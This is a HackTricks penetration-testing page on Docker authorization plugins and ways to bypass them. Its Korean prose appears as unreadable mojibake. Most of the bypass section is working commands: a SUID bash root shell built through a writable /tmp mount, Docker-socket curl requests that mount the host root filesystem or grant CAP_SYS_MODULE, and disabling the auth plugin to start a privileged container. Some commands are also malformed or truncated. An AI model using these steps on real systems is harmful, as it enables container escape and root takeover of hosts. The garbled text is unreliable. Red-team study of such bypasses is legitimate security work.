Tip
AWS ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:HackTricks Training GCP Red Team Expert (GRTE)
Azure ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks μ§μνκΈ°
- ꡬλ κ³ν νμΈνκΈ°!
- **π¬ λμ€μ½λ κ·Έλ£Ή λλ ν λ κ·Έλ¨ κ·Έλ£Ήμ μ°Έμ¬νκ±°λ νΈμν° π¦ @hacktricks_liveλ₯Ό νλ‘μ°νμΈμ.
- HackTricks λ° HackTricks Cloud κΉνλΈ λ¦¬ν¬μ§ν 리μ PRμ μ μΆνμ¬ ν΄νΉ νΈλ¦μ 곡μ νμΈμ.
Dockerμ κΈ°λ³Έ κΆν λΆμ¬ λͺ¨λΈμ λͺ¨λ λλ μμμ λλ€. Docker λ°λͺ¬μ μ κ·Όν μ μλ κΆνμ΄ μλ μ¬μ©μλ λͺ¨λ Docker ν΄λΌμ΄μΈνΈ λͺ λ Ήμ μ€νν μ μμ΅λλ€. Dockerμ Engine APIλ₯Ό μ¬μ©νμ¬ λ°λͺ¬μ μ°λ½νλ νΈμΆμμκ²λ λμΌνκ² μ μ©λ©λλ€. λ ν° μ κ·Ό μ μ΄κ° νμν κ²½μ°, κΆν λΆμ¬ νλ¬κ·ΈμΈμ μμ±νκ³ μ΄λ₯Ό Docker λ°λͺ¬ ꡬμ±μ μΆκ°ν μ μμ΅λλ€. κΆν λΆμ¬ νλ¬κ·ΈμΈμ μ¬μ©νλ©΄ Docker κ΄λ¦¬μκ° Docker λ°λͺ¬μ λν μ κ·Όμ κ΄λ¦¬νκΈ° μν μΈλΆνλ μ κ·Ό μ μ± μ ꡬμ±ν μ μμ΅λλ€.
κΈ°λ³Έ μν€ν μ²
Docker Auth νλ¬κ·ΈμΈμ μΈλΆ νλ¬κ·ΈμΈμΌλ‘, μμ²λ μμ μ νμ©/κ±°λΆν μ μμ΅λλ€. μ΄λ μμ²ν μ¬μ©μμ μμ²λ μμ μ λ°λΌ λ¬λΌμ§λλ€.
λ€μ μ 보λ λ¬Έμμμ κ°μ Έμ¨ κ²μ λλ€
HTTP μμ²μ΄ CLIλ₯Ό ν΅ν΄ λλ Engine APIλ₯Ό ν΅ν΄ Docker λ°λͺ¬μ μ λ¬λλ©΄, μΈμ¦ νμ μμ€ν μ΄ μ€μΉλ μΈμ¦ νλ¬κ·ΈμΈ(λ€)μκ² μμ²μ μ λ¬ν©λλ€. μμ²μλ μ¬μ©μ(νΈμΆμ)μ λͺ λ Ή 컨ν μ€νΈκ° ν¬ν¨λ©λλ€. νλ¬κ·ΈμΈμ μμ²μ νμ©ν μ§ κ±°λΆν μ§λ₯Ό κ²°μ νλ μ± μμ΄ μμ΅λλ€.
μλμ μνμ€ λ€μ΄μ΄κ·Έλ¨μ νμ© λ° κ±°λΆ κΆν λΆμ¬ νλ¦μ λνλ λλ€:


νλ¬κ·ΈμΈμ μ μ‘λ κ° μμ²μ μΈμ¦λ μ¬μ©μ, HTTP ν€λ λ° μμ²/μλ΅ λ³Έλ¬Έμ ν¬ν¨ν©λλ€. μ¬μ©μ μ΄λ¦κ³Ό μ¬μ©λ μΈμ¦ λ°©λ²λ§ νλ¬κ·ΈμΈμ μ λ¬λ©λλ€. κ°μ₯ μ€μν κ²μ μ¬μ©μ μ격 μ¦λͺ
μ΄λ ν ν°μ΄ μ λ¬λμ§ μλλ€λ κ²μ
λλ€. λ§μ§λ§μΌλ‘, λͺ¨λ μμ²/μλ΅ λ³Έλ¬Έμ΄ κΆν λΆμ¬ νλ¬κ·ΈμΈμ μ μ‘λλ κ²μ μλλλ€. Content-Typeμ΄ text/* λλ application/jsonμΈ μμ²/μλ΅ λ³Έλ¬Έλ§ μ μ‘λ©λλ€.
HTTP μ°κ²°μ μ μ¬μ μΌλ‘ νμ·¨ν μ μλ λͺ
λ Ή(HTTP Upgrade), μλ₯Ό λ€μ΄ execμ κ°μ κ²½μ°, κΆν λΆμ¬ νλ¬κ·ΈμΈμ μ΄κΈ° HTTP μμ²μ λν΄μλ§ νΈμΆλ©λλ€. νλ¬κ·ΈμΈμ΄ λͺ
λ Ήμ μΉμΈνλ©΄ λλ¨Έμ§ νλ¦μλ κΆν λΆμ¬κ° μ μ©λμ§ μμ΅λλ€. νΉν, μ€νΈλ¦¬λ° λ°μ΄ν°λ κΆν λΆμ¬ νλ¬κ·ΈμΈμ μ λ¬λμ§ μμ΅λλ€. μ²ν¬λ HTTP μλ΅μ λ°ννλ λͺ
λ Ή, μλ₯Ό λ€μ΄ logs λ° eventsμ κ°μ κ²½μ°, HTTP μμ²λ§ κΆν λΆμ¬ νλ¬κ·ΈμΈμ μ μ‘λ©λλ€.
μμ²/μλ΅ μ²λ¦¬ μ€ μΌλΆ κΆν λΆμ¬ νλ¦μ Docker λ°λͺ¬μ μΆκ° 쿼리λ₯Ό μνν΄μΌ ν μ μμ΅λλ€. μ΄λ¬ν νλ¦μ μλ£νκΈ° μν΄ νλ¬κ·ΈμΈμ μΌλ° μ¬μ©μμ μ μ¬νκ² λ°λͺ¬ APIλ₯Ό νΈμΆν μ μμ΅λλ€. μ΄λ¬ν μΆκ° 쿼리λ₯Ό νμ±ννλ €λ©΄ νλ¬κ·ΈμΈμ΄ κ΄λ¦¬μκ° μ μ ν μΈμ¦ λ° λ³΄μ μ μ± μ ꡬμ±ν μ μλ μλ¨μ μ 곡ν΄μΌ ν©λλ€.
μ¬λ¬ νλ¬κ·ΈμΈ
Docker λ°λͺ¬ μμμ μΌνμΌλ‘ νλ¬κ·ΈμΈμ λ±λ‘νλ κ²μ κ·νμ μ± μμ λλ€. μ¬λ¬ νλ¬κ·ΈμΈμ μ€μΉνκ³ ν¨κ» μ°κ²°ν μ μμ΅λλ€. μ΄ μ²΄μΈμ μμκ° μμ μ μμ΅λλ€. λ°λͺ¬μ λν κ° μμ²μ μμλλ‘ μ²΄μΈμ ν΅κ³Όν©λλ€. λͺ¨λ νλ¬κ·ΈμΈμ΄ 리μμ€μ λν μ κ·Όμ νμ©ν λλ§ μ κ·Όμ΄ νμ©λ©λλ€.
νλ¬κ·ΈμΈ μμ
Twistlock AuthZ Broker
νλ¬κ·ΈμΈ authzλ μμ²μ μΉμΈνκΈ° μν΄ νλ¬κ·ΈμΈμ΄ μ½μ JSON νμΌμ μμ±ν μ μκ² ν΄μ€λλ€. λ°λΌμ κ° μ¬μ©μκ° μ΄λ€ API μλν¬μΈνΈμ μ κ·Όν μ μλμ§λ₯Ό λ§€μ° μ½κ² μ μ΄ν μ μλ κΈ°νλ₯Ό μ 곡ν©λλ€.
λ€μμ Aliceμ Bobμ΄ μλ‘μ΄ μ»¨ν
μ΄λλ₯Ό μμ±ν μ μλλ‘ νμ©νλ μμ
λλ€: {"name":"policy_3","users":["alice","bob"],"actions":["container_create"]}
νμ΄μ§ route_parser.goμμ μμ²λ URLκ³Ό μμ κ°μ κ΄κ³λ₯Ό μ°Ύμ μ μμ΅λλ€. νμ΄μ§ types.goμμ μμ μ΄λ¦κ³Ό μμ κ°μ κ΄κ³λ₯Ό μ°Ύμ μ μμ΅λλ€.
κ°λ¨ν νλ¬κ·ΈμΈ νν 리μΌ
μ€μΉ λ° λλ²κΉ μ λν μμΈν μ λ³΄κ° ν¬ν¨λ μ΄ν΄νκΈ° μ¬μ΄ νλ¬κ·ΈμΈμ μ¬κΈ°μμ μ°Ύμ μ μμ΅λλ€: https://github.com/carlospolop-forks/authobot
README λ° plugin.go μ½λλ₯Ό μ½μ΄ μλ λ°©μμ μ΄ν΄νμΈμ.
Docker Auth Plugin μ°ν
μ κ·Ό μ΄κ±°
νμΈν΄μΌ ν μ£Όμ μ¬νμ μ΄λ€ μλν¬μΈνΈκ° νμ©λλμ§μ μ΄λ€ HostConfig κ°μ΄ νμ©λλμ§μ λλ€.
μ΄ μ΄κ±°λ₯Ό μννκΈ° μν΄ λꡬ https://github.com/carlospolop/docker_auth_profilerλ₯Ό μ¬μ©ν μ μμ΅λλ€.
νμ©λμ§ μλ run --privileged
μ΅μ κΆν
docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash
컨ν μ΄λ μ€ν ν νΉκΆ μΈμ μ»κΈ°
μ΄ κ²½μ° μμ€ν
κ΄λ¦¬μλ μ¬μ©μκ° λ³Όλ₯¨μ λ§μ΄νΈνκ³ --privileged νλκ·Έλ‘ μ»¨ν
μ΄λλ₯Ό μ€ννλ κ²μ κΈμ§νκ±°λ 컨ν
μ΄λμ μΆκ° κΆνμ λΆμ¬νλ κ²μ κΈμ§νμ΅λλ€:
docker run -d --privileged modified-ubuntu
docker: Error response from daemon: authorization denied by plugin customauth: [DOCKER FIREWALL] Specified Privileged option value is Disallowed.
See 'docker run --help'.
κ·Έλ¬λ μ¬μ©μλ μ€ν μ€μΈ 컨ν μ΄λ λ΄μμ μ Έμ μμ±νκ³ μΆκ° κΆνμ λΆμ¬ν μ μμ΅λλ€:
docker run -d --security-opt seccomp=unconfined --security-opt apparmor=unconfined ubuntu
#bb72293810b0f4ea65ee8fd200db418a48593c1a8a31407be6fee0f9f3e4f1de
# Now you can run a shell with --privileged
docker exec -it privileged bb72293810b0f4ea65ee8fd200db418a48593c1a8a31407be6fee0f9f3e4f1de bash
# With --cap-add=ALL
docker exec -it ---cap-add=ALL bb72293810b0f4ea65ee8fd200db418a48593c1a8a31407be6fee0f9f3e4 bash
# With --cap-add=SYS_ADMIN
docker exec -it ---cap-add=SYS_ADMIN bb72293810b0f4ea65ee8fd200db418a48593c1a8a31407be6fee0f9f3e4 bash
μ΄μ μ¬μ©μλ μ΄μ μ λ Όμλ κΈ°μ μ μ¬μ©νμ¬ μ»¨ν μ΄λμμ νμΆνκ³ νΈμ€νΈ λ΄μμ κΆνμ μμΉμν¬ μ μμ΅λλ€.
μ°κΈ° κ°λ₯ν ν΄λ λ§μ΄νΈ
μ΄ κ²½μ° μμ€ν
κ΄λ¦¬μλ μ¬μ©μκ° --privileged νλκ·Έλ‘ μ»¨ν
μ΄λλ₯Ό μ€ννλ κ²μ κΈμ§νκ±°λ 컨ν
μ΄λμ μΆκ° κΆνμ λΆμ¬νμ§ μμμΌλ©°, /tmp ν΄λλ§ λ§μ΄νΈνλ κ²μ νμ©νμ΅λλ€.
host> cp /bin/bash /tmp #Cerate a copy of bash
host> docker run -it -v /tmp:/host ubuntu:18.04 bash #Mount the /tmp folder of the host and get a shell
docker container> chown root:root /host/bash
docker container> chmod u+s /host/bash
host> /tmp/bash
-p #This will give you a shell as root
Note
/tmpν΄λλ₯Ό λ§μ΄νΈν μ μμ μλ μμ§λ§, λ€λ₯Έ μ°κΈ° κ°λ₯ν ν΄λλ₯Ό λ§μ΄νΈν μ μμ΅λλ€. μ°κΈ° κ°λ₯ν λλ ν 리λ λ€μμ μ¬μ©νμ¬ μ°Ύμ μ μμ΅λλ€:find / -writable -type d 2>/dev/null리λ μ€ λ¨Έμ μ λͺ¨λ λλ ν λ¦¬κ° suid λΉνΈλ₯Ό μ§μνλ κ²μ μλλλ€! suid λΉνΈλ₯Ό μ§μνλ λλ ν 리λ₯Ό νμΈνλ €λ©΄
mount | grep -v "nosuid"λ₯Ό μ€ννμΈμ. μλ₯Ό λ€μ΄, μΌλ°μ μΌλ‘/dev/shm,/run,/proc,/sys/fs/cgroupλ°/var/lib/lxcfsλ suid λΉνΈλ₯Ό μ§μνμ§ μμ΅λλ€.λν
/etcλλ κ΅¬μ± νμΌμ΄ ν¬ν¨λ λ€λ₯Έ ν΄λλ₯Ό λ§μ΄νΈν μ μλ€λ©΄, λ컀 컨ν μ΄λμμ 루νΈλ‘ λ³κ²½νμ¬ νΈμ€νΈμμ μ μ©νκ³ κΆνμ μμΉμν¬ μ μμ΅λλ€ (μ:/etc/shadowμμ ).
Unchecked API Endpoint
μ΄ νλ¬κ·ΈμΈμ ꡬμ±νλ μμ€ν κ΄λ¦¬μμ μ± μμ κ° μ¬μ©μκ° μνν μ μλ μμ κ³Ό κΆνμ μ μ΄νλ κ²μ λλ€. λ°λΌμ κ΄λ¦¬μκ° μλν¬μΈνΈμ μμ±μ λν΄ λΈλ리μ€νΈ μ κ·Ό λ°©μμ μ·¨νλ©΄, 곡격μκ° κΆνμ μμΉμν¬ μ μλ μΌλΆλ₯Ό μμ΄λ²λ¦΄ μ μμ΅λλ€.
λ컀 APIλ₯Ό νμΈν μ μμ΅λλ€: https://docs.docker.com/engine/api/v1.40/#
Unchecked JSON Structure
Binds in root
μμ€ν
κ΄λ¦¬μκ° λ컀 λ°©νλ²½μ ꡬμ±ν λ APIμ βBindsβμ κ°μ μ€μν λ§€κ°λ³μλ₯Ό μμ΄λ²λ Έμ κ°λ₯μ±μ΄ μμ΅λλ€.
λ€μ μμ μμλ μ΄ μλͺ»λ ꡬμ±μ μ
μ©νμ¬ νΈμ€νΈμ λ£¨νΈ (/) ν΄λλ₯Ό λ§μ΄νΈνλ 컨ν
μ΄λλ₯Ό μμ±νκ³ μ€νν μ μμ΅λλ€:
docker version #First, find the API version of docker, 1.40 in this example
docker images #List the images available
#Then, a container that mounts the root folder of the host
curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu", "Binds":["/:/host"]}' http:/v1.40/containers/create
docker start f6932bc153ad #Start the created privileged container
docker exec -it f6932bc153ad chroot /host bash #Get a shell inside of it
#You can access the host filesystem
Warning
μ΄ μμ μμ
Bindsλ§€κ°λ³μλ₯Ό JSONμ λ£¨νΈ μμ€ ν€λ‘ μ¬μ©νκ³ μμ§λ§ APIμμλHostConfigν€ μλμ λνλλ κ²μ μ£Όλͺ©νμΈμ.
HostConfigμ Binds
루νΈμ Bindsμ λμΌν μ§μΉ¨μ λ°λΌ Docker APIμ μ΄ μμ²μ μννμΈμ:
curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu", "HostConfig":{"Binds":["/:/host"]}}' http:/v1.40/containers/create
Mounts in root
Binds in rootμ λμΌν μ§μΉ¨μ λ°λ₯΄λ©° Docker APIμ μ΄ μμ²μ μνν©λλ€:
curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu-sleep", "Mounts": [{"Name": "fac36212380535", "Source": "/", "Destination": "/host", "Driver": "local", "Mode": "rw,Z", "RW": true, "Propagation": "", "Type": "bind", "Target": "/host"}]}' http:/v1.40/containers/create
Mounts in HostConfig
Binds in rootμ λμΌν μ§μΉ¨μ λ°λ₯΄λ©°, Docker APIμ μ΄ μμ²μ μνν©λλ€:
curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu-sleep", "HostConfig":{"Mounts": [{"Name": "fac36212380535", "Source": "/", "Destination": "/host", "Driver": "local", "Mode": "rw,Z", "RW": true, "Propagation": "", "Type": "bind", "Target": "/host"}]}}' http:/v1.40/containers/cre
Unchecked JSON Attribute
μμ€ν κ΄λ¦¬μκ° λ컀 λ°©νλ²½μ ꡬμ±ν λ APIμ βHostConfigβ λ΄μ βCapabilitiesβμ κ°μ λ§€κ°λ³μμ μ€μν μμ±μ μμμ κ°λ₯μ±μ΄ μμ΅λλ€. λ€μ μμ μμλ μ΄ μλͺ»λ ꡬμ±μ μ μ©νμ¬ SYS_MODULE κΆνμ κ°μ§ 컨ν μ΄λλ₯Ό μμ±νκ³ μ€νν μ μμ΅λλ€:
docker version
curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu", "HostConfig":{"Capabilities":["CAP_SYS_MODULE"]}}' http:/v1.40/containers/create
docker start c52a77629a9112450f3dedd1ad94ded17db61244c4249bdfbd6bb3d581f470fa
docker ps
docker exec -it c52a77629a91 bash
capsh --print
#You can abuse the SYS_MODULE capability
Note
**
HostConfig**λ μΌλ°μ μΌλ‘ 컨ν μ΄λμμ νμΆνκΈ° μν ν₯λ―Έλ‘μ΄ κΆνμ ν¬ν¨νλ ν€μ λλ€. κ·Έλ¬λ μ΄μ μ λ Όμν λ°μ κ°μ΄, κ·Έ μΈλΆμμ Bindsλ₯Ό μ¬μ©νλ κ²λ μλνλ©° μ νμ μ°νν μ μμ΅λλ€.
νλ¬κ·ΈμΈ λΉνμ±ν
sysadminμ΄ νλ¬κ·ΈμΈμ λΉνμ±νν μ μλ λ₯λ ₯μ κΈμ§νλ κ²μ μμλ€λ©΄, μ΄λ₯Ό μ΄μ©νμ¬ μμ ν λΉνμ±νν μ μμ΅λλ€!
docker plugin list #Enumerate plugins
# If you donβt have access to enumerate the plugins you can see the name of the plugin in the error output:
docker: Error response from daemon: authorization denied by plugin authobot:latest: use of Privileged containers is not allowed.
# "authbolt" is the name of the previous plugin
docker plugin disable authobot
docker run --rm -it --privileged -v /:/host ubuntu bash
docker plugin enable authobot
νλ¬κ·ΈμΈμ μΉκ²© ν λ€μ νμ±ννλ κ²μ μμ§ λ§μΈμ, κ·Έλ μ§ μμΌλ©΄ docker μλΉμ€μ μ¬μμμ΄ μλνμ§ μμ΅λλ€!
Auth Plugin Bypass writeups
Tip
AWS ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:HackTricks Training GCP Red Team Expert (GRTE)
Azure ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks μ§μνκΈ°
- ꡬλ κ³ν νμΈνκΈ°!
- **π¬ λμ€μ½λ κ·Έλ£Ή λλ ν λ κ·Έλ¨ κ·Έλ£Ήμ μ°Έμ¬νκ±°λ νΈμν° π¦ @hacktricks_liveλ₯Ό νλ‘μ°νμΈμ.
- HackTricks λ° HackTricks Cloud κΉνλΈ λ¦¬ν¬μ§ν 리μ PRμ μ μΆνμ¬ ν΄νΉ νΈλ¦μ 곡μ νμΈμ.


